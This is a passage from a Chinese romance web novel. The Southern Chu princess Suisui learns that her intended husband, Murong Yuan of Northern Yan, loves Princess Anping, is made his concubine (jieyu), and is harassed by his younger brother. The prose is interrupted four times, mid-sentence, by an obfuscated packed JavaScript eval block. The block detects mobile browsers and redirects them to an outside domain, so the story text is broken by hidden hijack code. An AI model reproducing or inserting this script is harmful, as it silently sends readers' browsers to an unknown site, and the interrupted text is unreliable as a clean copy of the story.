穗穗能感觉到静妃的善意,只是心里到底堵着慕容远和亲这件事,一顿饭食不知味。 直到天色黑透,席案都已撤下,慕容远受罚的光明殿那头,还没有传来消息。 静妃招宫娥来帮穗穗梳理乱发,又寻来一件崭新的浅绒披风,打算先送穗穗回王府。 正在这时,去外面打听消息的小桃小跑回来,“娘娘,三皇子早已出宫,说是,说是……” 小桃看了穗穗一眼, “说是径直去了将军府。” 穗穗尚不知将军府意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490163|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味着什么,只是感觉小桃的声音落下时,满屋的宫娥齐齐默了刹那,就连静妃看她的眼神,都透露着可怜。 静妃催着她回府,直到坐上回程的马车了,静妃仍不忘攀在车窗的边沿,欲言又止的嘱咐她说, “好姑娘,夫妻没有隔夜仇,要是有什么事就同阿远好好说。再不成,你来寻我,我帮你教训他。” 马车驶出去老远,穗穗的眉头都没有舒展。 她回味着静妃的话。此时,她还没有意识到春和轩上下的反应过于异常;她只是在想,她和慕容远真的算是夫妻吗?对此她深表怀疑。 古怪的感觉并没有持续太久,很快,穗穗就知道了答案。 回到敦王府时,灯火通明,四下人影繁杂,仆从步履匆匆,备水的备水,端药的端药,紧张忙碌,但井然有序。 慕容远该是经历过不少酷刑,敦王府上下早已训练有素。 穗穗心中五味杂陈,轻叹口气,正要回院子,却见正厅里来了位客人。 她拢在灯火中,皮肤比穗穗见过的所有女娘都要白、都要嫩,好像一团灼目耀眼的雪人,一看就是高不可攀的贵人。 听见穗穗靠近,她抬头看来,是一位娇憨少女,浓眉大眼,五官深邃,和慕容远有几分神似。 穗穗大略对她的身份有所猜测,走进去恭恭敬敬见了礼。 对方发出一声娇哼,继而是意料之中的嚣张声音, “你就是朝临公主?要样貌没样貌,要气质没气质,难怪三哥看不上你。” 穗穗抿着唇,没吭声。能以“三哥”称呼慕容远的,只有北燕皇室以刁蛮著称的、唯一的小公主、慕容清。穗穗并无意招惹她。 可惜慕容清不这样想,见穗穗哑巴似的好欺负,更被激起兴致。 她站起身,绕着穗穗踱步,发出一声声阴阳怪气的“啧啧”喟叹。那眼神,无异于在说,穗穗哪儿哪儿都拿不出手,将穗穗从头贬低到脚。 北燕瞧不起穗穗的人多了去了,穗穗不介意多一个,依旧无动于衷。 慕容清见穗穗有意晾着自己,终于压抑不住心中怒火。 她凑到穗穗跟前,扬声质问道,“你知道我和三哥是从哪里回来的吗?” 这话反倒叫穗穗懵了刹那,“将军府。” 她眨着眼,不明所以的看向慕容清,心里蒸腾出一股不祥的预感。 眼前人显然没料到,穗穗的反应会如此气定神闲,眼里划过片刻的怔忪,很快又被更加灼热的怒焰掩盖。 她眉心怒蹙,像看路边乞食的狗一样看着穗穗,厌恶至极, “你既然知道,你有什么脸面横插一脚?” 什么意思? 穗穗还没想明白,颈畔突然袭来一股力道。 慕容清以为她在揣着明白装糊涂,一把拽住她的衣领,怒得雪腮通红,面目扭曲。 “你知不知道,三哥他受了很重的伤,他从来没有流过那么血。他疼得来连马都上不了,跪在将军府里时,小半个院子都被染红。 他从来没有对不起挽风姐姐。这次因为你,又是挨打又是受罚,可那又如何呢?受伤之后,他想的也是去挽风姐姐门前请罪。 他二人情深至此,你觉得,你觉得你有什么资格来插足这样的感情?!” 颤抖的声音不留余地的落在耳畔,炸裂的信息涌入脑海,不管不顾,肆意冲撞。 看着眼前人一张一合的嘴,穗穗不合时宜的、猛然想到了新婚夜慕容远那两条的玉带。 那时她还感慨,北燕绣娘绣工真好,慕容远也算粗中有细。 直到现在,她才感觉…… 她才发觉…… 或许,那不是为了她,那是为了这位叫挽风的姑娘。 穗穗的眉头拧得能滴水,“慕容远,他喜欢……” 他喜欢安平郡主。 她嫁的夫君,原来已经有心上人了。 7.第 7 章 难怪听说慕容远去将军府之后,静妃看她的眼神不对劲。 原来,将军府里有慕容远喜欢的姑娘。 青梅竹马、人尽皆知的那一种。 安平郡主,穆挽风,出生将军世家,幼时习武,年少戍边,更是凭借三个月拿下西羌的辉煌战绩,成为北燕当之无愧的巾帼女英豪。 她和慕容远那么投契。慕容清细数了他们从少时一起念书、到长大后并肩作战的种种,质问穗穗有什么资格要求和亲,为什么要逼迫慕容远。 穗穗一个字都答不上来。 她觉得自己就好像从来都没有认识过慕容远一样。 她面前的慕容远,冷漠凉薄、凶狠。 可慕容清口中的慕容远,远非狼心狗肺之人,相反,他深情得让她有些害怕。 他会替安平郡主背下一切惩罚,在战场上拿命救她;戍边时,他会走二十里地、只为买一串安平郡主喜欢的糖葫芦。 在受了这么重的板刑之后,他不回府不疗伤,第一反应是去将军府,向安平郡主请罪。 可他哪里有错呢? 是她,她一意孤行要嫁给慕容远的行为,荒唐至极,错得离谱。 耳畔嗡嗡作响,穗穗失魂落魄,全然不知自己是怎样走到慕容远的院子的。 清醒时,他的卧房已经近在眼前。 一盏幽微的烛光亮在床头,慕容远身上盖了件轻薄的素衣,俯趴在榻上,起伏的肌肉曲线漠在黑暗里,像远山般沉默。 他不知在想什么,一动不动盯着烛火,火光驱不散他眼底的寒意。 穗穗本想转身离开,又想起静妃托付给自己的膏药,纠结片刻,硬着头皮敲门进去。 慕容远从沉思中回神,扭头看来,就见褪了华服的小姑娘挽着最简单的环髻,乌发蓬蓬,粉唇俏眼,是他从未见过的沉静模样。 她手里拿着一只白瓷瓶,莲花纹,百草香,慕容远认出那是静妃经常给他用的伤药,便没多言,任她靠近。 今夜小公主格外安静,净手之后,朝他微微福身,径自坐到榻边脚踏上,执起一方崭新素巾,目光幽幽落在他受伤的地方,几番犹豫。 其实,敦王府富庶,院子里有贴身伺候的小厮,远不至于让宋辞穗亲自上手。 但慕容远不知为何,突然有点想看这小公主究竟会作何选择。她不是一口一个要嫁他,说得信誓旦旦么?如今与他肌肤相亲的机会就在眼前,他很想知道她有没有这个胆子。 他挑了一侧眉尾,狭促的看着眼前人。却见小公主低垂眼帘,压根没留心他。目光逡巡,与其说是为难,更像是掺杂着旁的复杂的情绪。 他戏谑的笑意还没展露,就见小公主桃腮一红,玉手挑开他腰腹周围的素衣,将那紧要部位暴露在空气中。 顿时,慕容远的目光无处安放。 方才觉得温柔的小女娘也不温柔了,平素里最是安心静气的膏药也不管用了,玉指越是轻柔,他心中火气越大,忍得他鬓角都渗出细汗。 本是想看别人好戏,这下反倒是他自己局促犯难,气得慕容远不住暗骂,只道她们南楚人惯会这招,低眉顺眼,小人做派! 穗穗一心想着慕容清的话,哪里知道面前这人心思已经来回转了八百遍。 正要温热毛巾帮慕容远擦汗,手腕突然被他握住,“真拿自己当丫鬟了?” 穗穗压根没想到丫鬟这事,只觉得受静妃所托罢了。慕容远突然提起,顿时让她难以进退。 委屈巴巴的模样,是慕容远最讨厌见到的,一记冷眼飞来,抬手夺过她掌中的素巾,“哑巴了?说话!” 穗穗做了许久的心理建设,才终于鼓起勇气,对上他的目光,“我遇到七公主了,她说……她说……她把你从将军府接回来的……” 话音未落,慕容远已经径直从榻上坐了起来,伤口碰到冷硬的坐席,疼得他眉眼都皱在一起。 果然,提到将军府,他不开心了。凉薄的目光里,翻滚起浓烈的诘问,是对她毫不掩饰的责备,也是对将军府那位满满的维护。 穗穗喉咙艰涩发紧,简简单单的几个字,如有千斤重, “你喜欢她。” 慕容远笔直坐在伤口上,像是感觉不到疼痛一般, 他根本不打算解释,只是用近乎残忍的语气喝令了一句,“不该问的别问。” 可是,分明是他要求她开口说话的! 穗穗的眼眶酸得要命,她垂下脑袋,悄悄吸了吸鼻尖,“你应该早点给我说。你不是说,北燕都渴望一生一世一双人吗?既然你心里有别人,在南楚时,就不该答应娶我。” “这样对你和安平郡主不公平。” 她没好意思带上自己。 她本来就是插足别人姻缘的小偷。 慕容远盯着她。许是不愿让不好的情绪亵渎安平郡主,他压制住了所有暴躁凶恶,没有谩骂斥责,甚至尾音上挑,似在打趣, “五公主如此势利,难道本王坦白了,你就会不嫁给我吗?” 他说得对。穗穗不敢想这个问题,她不知道应该如何选择。 夜里下起小雨,淅淅沥沥,黏黏糊糊,穗穗躺在床上,翻来覆去睡不着。 窗外迷蒙的夜色,就像她的前路一样混沌。 她跟着慕容远来到北燕,原先也没动什么感情,只当这是一场各取所需的交易。 成亲的那个晚上,他虽然极不情愿,但最后还是出现了,还佩戴着她心心念念的玉腰带。 那时,她沉浸在喜悦里,直到此刻,她才记起,春杏无意中提到过,慕容远是深夜才从府外回来的。 新婚夜,他去的真的是食肆吗?还是将军府呢? 那两条玉带,是他原本想送给安平郡主的吗?亦或是,那晚上,安平郡主亲手为他系上的呢? 穗穗不敢多想,她只知道,无论答案是什么,这条玉带寄托着两人难以磨灭的情意,是她横刀夺爱,胡搅蛮缠,抢到了自己面前。 她之前还因为慕容远不守信用,焦急上火,很轻看这个人。 可如今,知道了他和安平郡主的事,愧疚冒出头,便一发不可收拾。 其实,北燕有好几位皇子,南楚也不乏富可敌国的郎君。她怎么偏生就挑中了这个名花有主的人,这叫她以后该如何面对。 ==== 人越是怕什么,越是来什么。 第二天,穗穗顶着两个大大的黑眼圈出门,就见前院堆了三大箱药材补品,说是将军府的人来探病。 至于具体来的是谁,穗穗已经从下人们心照不宣的暧昧笑意里,猜出了一二。 慕容远的院子门扉虚掩,里面安静得诡异。穗穗想进去又不敢,只好一圈一圈绕着王府散步,被迫听到了数不胜数的议论。 “安平郡主真是大气,那箱子里的雪参,得赶上我半个人这么高,比府里刚进门那位的嫁妆都贵重了不知多少。” “咱们三爷哪回伤了,安平郡主没有来看过?每回来,都打理得妥妥帖帖。新来的这位在做什么?日上三竿了,怕是还没起呢,一点都不醒事。” 之前,府里的人碍于穗穗新来,不敢太过分。如今,有慕容远排斥她,又有安平郡主在这儿摆着,王府的人也不再忍让。 “安平郡主与三爷出生入死,谈得到一块儿,又会照顾人。要是三爷和安平郡主在一起,不知比现在幸福多少。” 他们说这话时,穗穗和春杏就站在廊檐下。雨丝沾湿了她的额发,顺着衣领滴进脖子。 春杏心疼坏了,赶紧撑开伞,拿出绢帕替穗穗擦拭。 从昨晚到今晨,关于这位安平郡主的事,春杏也听了不少,早就积攒了一肚子怨言, “公主莫听他们瞎说。春杏在宫中见过那么多姑娘,无人能及公主分毫。之前在南楚时,公主也是有很多郎君倾慕的。三爷有美人相伴,他不稀罕公主,咱们还不稀罕他呢。” 穗穗被春杏这通气话逗笑,“虽然没见过安平郡主,不过,能得到慕容远和敦王府所有人的青睐,安平郡主当非等闲之辈。” 春杏不置可否,“什么青不青睐的,不就是会舞刀弄枪吗?公主也会,说不定武艺还要更胜一筹。” 穗穗提醒她收声,但交谈到底还是吸引来了那群下人们的目光。 他们没有料到穗穗在场,向她微微见礼,转身之后,默契的换成了穗穗听不懂的口音。 这里不是属于穗穗的战场,他们要把她排除在外,轻而易举。 春杏顿觉无语,“公主,要不……咱们回南楚吧。” 春杏不是第一次这样说了,穗穗没应声,挽着她往厨房走。 其实,不是穗穗惫懒贪睡,实在是昨天奔波一天,她的双脚已经下不了地。今早用热汤膏药敷了揉了大半晌,才勉强能出门。 没有慕容远的吩咐,厨房没有单独为穗穗备饭,只有下人们用剩的残羹冷炙。 昨天被羊肉马肉刺激之后,肚子还没缓和,穗穗打算自己上手做些清单养胃的吃食。 顺便,看看能不能帮慕容远煎药。 敦王府的人不知道,其实穗穗很会照顾人,这些事她做起来驾轻就熟,都是她在南楚照顾娘亲练就的本领。 把慕容远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492508|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的汤药煎上之后,才发现敦王府不用粥饭,厨房里颗粒都无。穗穗只好用面粉揉了疙瘩,搅散鸡蛋,加了几滴酒,做了一道醪糟粉圆汤。 北燕没有这样的吃法。府里的嬷嬷路过时,见着一口小锅咕噜噜冒气泡,还冒出酒液的味道,摇着头直笑,讥谑她们南楚人没品味。 穗穗心里揣着事,喝了两勺就净了手。春杏倒是浑不在意,捧一只海碗,用得热气朝天,浑身舒坦。 吃饱喝足,待到晌午,雨也停住,慕容远的药也熬好。 穗穗纠结片刻,最后还是忍不住,用药盅盛了,端去找慕容远。 一路上,她的手都在发抖,不断做着心理准备,希望看见的场面不要让自己太难堪。 慕容远的院子和清晨一样寂静,雨雾弥漫,瓦当往下抖落雨滴,一颗一颗,传来阵阵回响。 敲门而入时,慕容远嘱咐完身边近侍最后一句话,正打发人走。 穗穗不动声色张望着,走进去,四处都没有瞧见安平郡主的身影。屋子里只有雨后清清爽爽的凉意,一丝姑娘家的香气也无。 她的心陡然落回肚子里,不知为何,又有点小小的失望。 慕容远站在窗前,“听说五公主在王府逛了一上午?” 下人议论纷纷,慕容远自然也听到了一些风言风语,穗穗不想瞒他, “安平郡主来了,我不敢打扰三爷,正好听他们多说说三爷的过往。” 慕容远似是想对她说些什么,听见安平郡主,又突然沉默下来,目光黯了黯,“今天她没有来。” 低沉的模样,连穗穗都忍不住替他惋惜。 是因为她吗? 他替安平郡主受罚,安平郡主替他疗伤,写进话本子里,本该是一出令人心驰神往的爱情桥段。如今,却因为她,产生了裂痕。 穗穗甚至都有些心疼慕容远了,望着慕容远的眼睛满是哀戚。 慕容远没有回应她。这种事,他不会做过多解释。同样的,他也不会告诉穗穗,他已吩咐近侍,让王府里的下人不准再妄言。 南楚人心眼小,这小公主又惯会委屈惹人怜。他原以为她知道安平郡主的事之后,会自个儿躲起来,没想到,还是来见他了。 端着药来的,倒是个好借口。 慕容远抬手接过药盅,捧在手心,暖融融的,有种不同于以往的的烟火气。吞下肚,好似也没有以往的药那样涩口。 慕容远微微挑眉,连他自己都没察觉到,心里划过刹那的熨帖。 “这药是五公主熬的?” 穗穗点下头,便见慕容远神色稍许别扭的嘀咕了一句,“不是真的要你当丫鬟,本王又不是泼皮无赖。” 穗穗其实已经察觉到了,是慕容远的无心之失,要是几天前慕容远向她解释,她一定会很高兴的。 可是现在么……她是不是丫鬟也没什么区别了,横竖都是横刀夺爱的小偷。 她垂首坐在另一侧榻上,慕容远见她不打算应声,有些没趣,忒自饮尽药汁,许久,又道了句, “我以后不会再让别人知道。” 突如其来的一句话,穗穗思索许久,才反应过来,慕容远在说他和安平郡主。 这好像是慕容远第一次向她做出承诺,穗穗呆呆愣愣抬头看向他,心中想的是,他得有多喜欢安平郡主啊。 他那么厌弃她,不愿同她再有任何瓜葛,如今却因为另外一个人,同她说起“以后”,温声细语的,是她从来没见过的平和。 在安平郡主身上,慕容远有着近乎无条件的温柔,即使穗穗许久没有回应,他也不恼,眉梢舒展,甚至点染上笑意, “没听明白?我说,我和小风之间,没有人敢再说三道四。” 她明白的,她只是突然发现自己想错了。 慕容远和安平郡主之间,比她以为的还要缱绻缠绵, 让人心痛。 穗穗勉强咽下心里的凉意,“我懂的,我会替三爷保密。” 为了安平郡主,他第一次放下身段请求她,不要去外面嚼舌根。她又怎么敢不懂事呢? 也不知慕容远满不满意她的回应,目光古怪的看了她许久,突然冷冷的笑了起来,“五公主这是觉得委屈?不高兴的话,大可以跟着你兄长回去。” 她明明已经答应了,为什么还要赶她走呢?穗穗摇头,泪意很快就忍不住了,“我不回去,我要,我要……” 话到嘴边,她突然停了下来。 ‘我不回去,我要嫁给慕容远’,这句话她说过无数次。只是,这一次,要嫁给他的话,好像无论如何都说不出口了。 8.第 8 章 知道了安平郡主的存在,穗穗不可能再提出成亲。 春杏问穗穗有何打算,她总不能就这样不明不白留在王府。 迟早有一天,安平郡主要和慕容远修成正果,届时,她又该怎么办呢? 正胡思乱想时,皇后出宫探望。 慕容远经过几天的修养,基本可以自由活动。穗穗被叫去时,他坐在皇后下首,垂首听着皇后的嘱咐。 在皇后面前,他总是乖的过分。 看见穗穗进门,皇后展颜轻笑,屋里压抑的气氛舒缓不少, “朝临公主快来评评理。那天在宫里,阿远竟说出‘宁愿孤独终老也不草草娶妻’的胡话,还说他能打胜仗,不用接受和亲。 你说,他忤逆得这么厉害,陛下不打他,打谁?” 这话显然是说给穗穗听的,她料想应是北燕决定悔婚,先让皇后娘娘来探探她的口风,便勉强笑了笑,没应声。 慕容远一如既往气定神闲,一幅不知何错之有的模样。 皇后睨了他一眼,继续向着穗穗数落道, “从前养在膝下时多听话啊,如今封王开府,独立门户,主意是越发大了。迟早有一天,你父王要被你气出病来,你到时候就是整个北燕的罪人。” 皇后或许是无心之语,但这罪名,就连穗穗都觉得,委实过重。 静妃娘娘同样也担心慕容远,可她会调配膏药给慕容远,还会说很多心疼他的话。 穗穗说不上来哪里奇怪,只是这种感觉,明显是不一样的。 慕容远倒像是习以为常,神情一动不动,只从喉咙里哼出一声,“儿知道了。” 皇后恨铁不成钢的叹了口气,“闹得这样厉害,最后还不是得成亲。” 说着,她扬手让宫人端来圣旨,转头向穗穗扬起和蔼的笑容, “好孩子,陛下和本宫都很喜欢你,南楚也是我们最重要的盟友,我们万不可能亏待你。这是婕妤的册封圣旨,快接旨吧。” 婕妤? 穗穗眨了眨眼。 没有娶她为王妃,没有遣她回去,没有让她做丫鬟,最后竟是做了婕妤? 她整个人都懵懵的,跪在地上,玉手陷在绒毯里,捂出了一层薄薄细汗。宫人平白无波的声音响在头顶,给她一种恍惚不真实的感觉。 这一切,都跟她计划的完全不一样。 不过,穗穗转念一想,以婕妤的身份留在敦王府,既不会霸占慕容远的夫人位置,又有机会为阿娘赚药钱。这似乎是她现在最好的出路。 宫人的声音停下许久,穗穗才缓缓回神。明黄圣旨悬在头顶,她错开皇后和宫人殷切的目光,看向慕容远。 这是圣旨,他们本没有资格拒绝。但不知为何,穗穗隐秘的期待着慕容远表示些什么。 在看见慕容远淡然默许的姿态时,她心里才踏实下来,叩首谢恩,接过圣旨。 婕妤不是正妻,没有半个府库那么丰厚的聘礼,只有一些册封礼,和每月的月例。 虽然远不够给娘亲买药,但至少在北燕的吃喝不用发愁了,也算是有了堂堂正正的身份,真正落地安家。 皇后招来王府管事,嘱咐了穗穗的吃穿用度等等琐事。 穗穗听着听着,渐渐出神,心里洋溢出一股她自己也说不清的喜悦,不自觉抿唇笑了起来。 良久,才察觉到皇后的声音陡然严肃, “阿远是二等亲王,王妃之下便是婕妤,地位尊贵无比,好些侄女外甥向本宫求了好久都不得。最后,这个位子册封给了公主,本宫还算想得过去。” 穗穗渐渐回神,仆从不知什么时候已经退下,屋子里只剩下他们三人。 皇后双手交叠在膝上,依旧笑盈盈的,只是不着声色的微扬起下颌、挺直了脊背, “本宫一早就说过,公主是有福气之人。瞧瞧,福气这不就来了吗?孩子,你千万好好珍惜,好好服侍阿远。” 不知为何,穗穗无端想起春杏,想起她满脸鄙夷、臭骂人的模样。要是春杏在,她一定会说,区区一个婕妤,我们南楚姑娘才不稀罕争抢呢。 穗穗无声笑了笑,赶跑了脑子里这些不着边际的想法,恭恭敬敬跪在皇后脚边, “多谢娘娘提点。能留在北燕,成为王爷的婕妤,穗穗很开心。” 她垂首带笑,模样温顺乖巧,皇后瞧着赏心悦目,正要将人扶起来,却见她突然抬起亮堂堂的眉眼,兴致勃勃道, “不过,我们南楚好山好水、人灵地杰,还有刚出锅的小笼包、微微打卷的鱼片羹。这些都是北燕没有的。穗穗有幸做王爷的婕妤,以后得空,都做给娘娘和王爷品尝。” 虽然穗穗在南楚没什么存在感,南楚人对她也谈不上多好,但她很喜欢南楚,丝毫没觉得这话有什么不妥, 也根本没意识到,她真心实意的模样,反叫皇后被噎住。 这次和亲没有如南楚的意,皇后来之前,想过宋辞穗会撒泼、会质问,这些,她都有法子。 偏生,这小姑娘性子软软的,好似任人揉捏的棉花,还说着小笼包、鱼片羹这等乱七八糟的话,像个未开蒙的稚子,让人想立威都不知从何处开口。 皇后意味深长的看了慕容远一眼。可当事人都只是双目微阖,不动如山,一幅毫不上心的模样,她又怎好多言?只能无奈的把目光收回来, “好姑娘,你明白就好。总之,封婕妤之后,就是敦王府的人了,一言一行代表的都是敦王府,不能再像宫宴那天胡闹。 要学着食马肉、饮羊奶,北燕女娘比南楚姑娘强健,靠的就是这些。你只有将身体养好了,才能和阿远多生孩子。” 皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516766|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎对生娃娃有什么执念,上次宫宴时提过一次,今日又说起这个话题。 “穗穗才刚刚进门,娘娘莫要打趣我了。” 如今知道了安平郡主的存在,穗穗想都不敢想这种事情。 慕容远该是对她贴心懂事的回应感到满意,冷漠的面目终于有了些许松动,唇里不清不楚的“嗯”了一声。 三人又叙了会儿话,多是以皇后嘱咐穗穗为主。 临别时,慕容远不宜多动,由穗穗将皇后送到府门前。 凤仪前脚刚走,后脚,就见一辆雍容华贵的马车急停在王府门前。 车上跳下来一位恣肆少年,翘头靴,千金裘,目光含情,笑得好不风流。 穗穗认出他,是上次宫宴,姗姗来迟,当众吆喝着要看“嫂嫂”的五皇子,慕容贺。 北燕民风开放,浪荡少年也有不少女娘倾慕。但在南楚,像他那天说话不过脑子的行径,是要遭人不齿的。 穗穗本能生起防备,向后退了一步。 可惜,慕容贺已经看见她,笑得更加开怀,从马车上抱下一只箱子,径直放进她的怀里, “听说三哥又挨打了,喏,弟弟的心意,劳小娘子收下。” 穗穗没来得及拒绝,一股浓烈的膻味直窜鼻尖。是整块羊皮和一盒鹿茸。 穗穗在宣和殿因为羊肉马肉作呕的事情,整个北燕皇室人尽皆知。慕容贺就是故意的! 穗穗抿唇忍着愤怒,“妾身位卑福薄,恐糟蹋了五皇子的一片心意。五皇子还是亲自交给三爷吧。” 穗穗伸长手臂,将匣子推出去半尺,气味浅了些,她好不容易缓过一口气。 却见慕容贺一直都目不转睛的看着自己,目露狭促,好似在看什么极有趣的玩意儿, “南楚姑娘都像小娘子这样有趣吗?都气成这样了,还要说文绉绉的话。” 他微微倾身,目光轻浮大胆,哪怕与她对视上了,也丝毫不躲,直勾勾的在她的面颊上逡巡, “小娘子收下自己用吧。宫宴丢了脸,也不知三哥有没有打小娘子的屁股?” 打屁股?这是什么浪荡子才能说出口的话!要是在她们南楚,拉去菜场游街示众一百天都为过! 穗穗又气又囧,耳根红得能滴血, “五皇子慎言。我是你三哥的女眷,你应该尊重长辈,不该以‘小娘子’这样轻浮的称呼唤我,更不该学纨绔子弟调戏女娘的口吻对我说这些话。” 穗穗义正词严,慕容贺却不以为意的笑起来, “我知道啊,小娘子真好玩,我也应该学习三哥,带个南楚姑娘回府玩玩。” 怎生如此放肆!竟还变本加厉。 穗穗攥紧拳头,屈辱感油然而生。 正在这时,一道冷声喝下,“她是我敦王府的人,你想怎么玩?” 9.第 9 章 慕容远大步走出府门,双手环胸,站在穗穗和慕容贺之间,“我看你个小兔崽子是没将三哥放在眼里。” 慕容贺目光落在慕容远抱起的双臂前胸,只瞧着那魁梧身躯上肌肉硬挺,像盘着条龙,当即没了气焰, “三哥不肯给弟弟引荐小娘子,我不过是想逗逗她……” 哪晓得三哥这么快就能下地走动,几句话的功夫,还追出门来。 慕容贺乖乖认怂,慕容远仍是不爽他的态度,“还敢叫小娘子?她刚刚受封婕妤,你要是搞不清礼节,就叫娘娘。” “婕妤娘娘呀……”慕容贺唇齿囫囵念着这几个字,听上去似有些遗憾,“娘娘太生分了,要不……要不我还是叫嫂嫂吧,嫂嫂明明还很年轻水灵。” 穗穗觉得不妥。她知道的,慕容远心中,有且只有一位夫人,“嫂嫂”只能是安平郡主。 “还是叫公主吧,直呼其名也可以,我的年岁应该和五皇子相仿。” 慕容远未置一词,只是脸色铁青微异,看上去并不太满意。 他咬着牙,扬手送走慕容贺,气势汹汹往回走,甫一进庭院,便忍不住斥责穗穗, “你平时在本王面前,不是挺能说的?怎么今天就哑巴了?被欺负成这样,也不知道骂回去。” 山脊一样的身躯赫然停驻,香樟黄叶簌簌落在他的肩头,像点燃的怒气。 穗穗一时还没反应过来,差点撞到他身上,“我跟五皇子讲道理了,是他无赖。” “所以你只敢在本王面前作威作福。” 慕容远冷哼的声音听起来并不凶恶,反倒有些怒其不争。穗穗这时才朦胧意识到,他好像是在帮她撑腰,心里突然有些异样。 她并不觉得慕容远对她有什么改观,因为她现在是敦王府的人,关系着慕容远的面子罢了。 不过,饶是如此浅薄的关心,穗穗仍然感到喜悦。无论来路多么曲折,从此以后,他们就是真正的一家人,有些东西也在悄然改变。 回到院子,慕容远把五皇子的补品交给下人,穗穗看见案上还摆放着皇后送来的补品,径自走去整理。 人参鹿血枸杞,全是大补的发物。但其实,慕容远本身体质不差,是皮外伤,这些东西反而不宜伤口愈合。 这些基本药理,就连穗穗这个门外汉、为自己多上几次药都能明白,皇后宫里有太医,她不信皇后不知道这些。 如此看来,皇后对慕容远真的算不上关心,慕容远其实也挺可怜的。 穗穗回身看了眼慕容远。他垂目坐在暗影里饮茶,胸脯一起一伏,像是怒气未消,又因为无人搭理而显得有几分可笑。 穗穗勾了勾唇角,替他合上这些中看不中用的锦匣, “皇后娘娘一片苦心,这些东西确实名贵,可惜不对症,三爷应该少吃。 昨天静妃娘娘差人送来了雪莲,那才是好东西,对消肿化瘀有奇效。回头我做成雪莲羹,三爷可以多吃些。” 说话的间隙,慕容远已经走到她的身后,一把按住她收拾补品的动作,眼眸冰冷,“你说这话是什么意思?想挑拨我和母后的关系?” 他目光写满了质疑,甚至故意当着穗穗的面,抓起一把枸杞子,囫囵吞下;想要挑衅穗穗,结果却只是将自己呛得猛咳。 穗穗实在是无力解释,任他自己咳着喘着,往屋角去收拾这几天收到的慰问礼。 待她拿着整理好的礼单,再回来时,慕容远缓和不少,火气也熄灭,自个儿黑着脸坐在榻上,一言不发,一幅别别扭扭的模样。 穗穗暗自好笑,好脾气的给了他一个台阶,“三爷防备我,我理解,但事已至此,我们以后不得不共同生活在一个屋檐下。今天我们不如把话说开,三爷希望我做什么、不做什么,都约法三章。” 她的声音前所未有的冷静,慕容远坐在榻上,仰头看着她,良久无声。 暮色已至,点灯备膳的仆从来来往往,只有他这间屋子格外沉静。 暮色笼罩在眼前这小公主的身上,她的身姿越来越像一张庞大的暗影,有种居高临下之感。 可他分明记得,就在几天之前,小公主求着他娶她时,可没有这么坦率直白。 这才刚得了婕妤的身份,就迫不及待开始管束起他了! 呵! 慕容远素来最讨厌身边人多事,他捏了捏眉心,决定半点余地都不留, “也好,本王今日便同你说清楚。以后你在敦王府,不管大事小事,一概不能沾手。 本王担着一干要务,平素勿要近身。除非本王唤你,本王这院子你也来不得。府里家务有管事,你也不可插手。” 慕容远越说越来劲,起身走到宋辞穗整理过的补品边,见那些随意堆放的箱奁被整整齐齐的码放在一起,眉头蹙得更深, “这几天本王病着,没有精力,便算了。以后,像这种打点关系的事,你也不要过问。你在北燕人生地不熟,除非本王授意,轻易不能赴宴,省得给本王丢人。” 慕容远其实也不晓得出嫁的女娘应该守什么规矩,只是自己怎么高兴,便怎么约束宋辞穗,甚至有些话,故意说得过分。 没想到,穗穗都一一应了,只在最后这里微微皱眉。 慕容远终于捕捉到她这丁点不满,心里的猜疑就好像得到印证,满意的冷笑了一声, “本王还是那句话,你要是不高兴,大可以回……” “没有,” 穗穗旋即展颜,打断他, “都听三爷的,我没有不高兴。我娘亲从小就说我是享清福的命,我原本就不会当家。如今三爷好起来了,我以后不会轻易过来了。” 穗穗不假思索,就好像迫不及待要将烫手山芋扔去似的。慕容远还没回应,她紧跟又问道, “只是我眼皮子浅,上京有好多好玩的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567165|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都没见识过。我就想问问三爷,我能不能出门……玩。” 她不想告诉慕容远赚钱救娘亲的打算,随口诹了个贪玩的说辞。 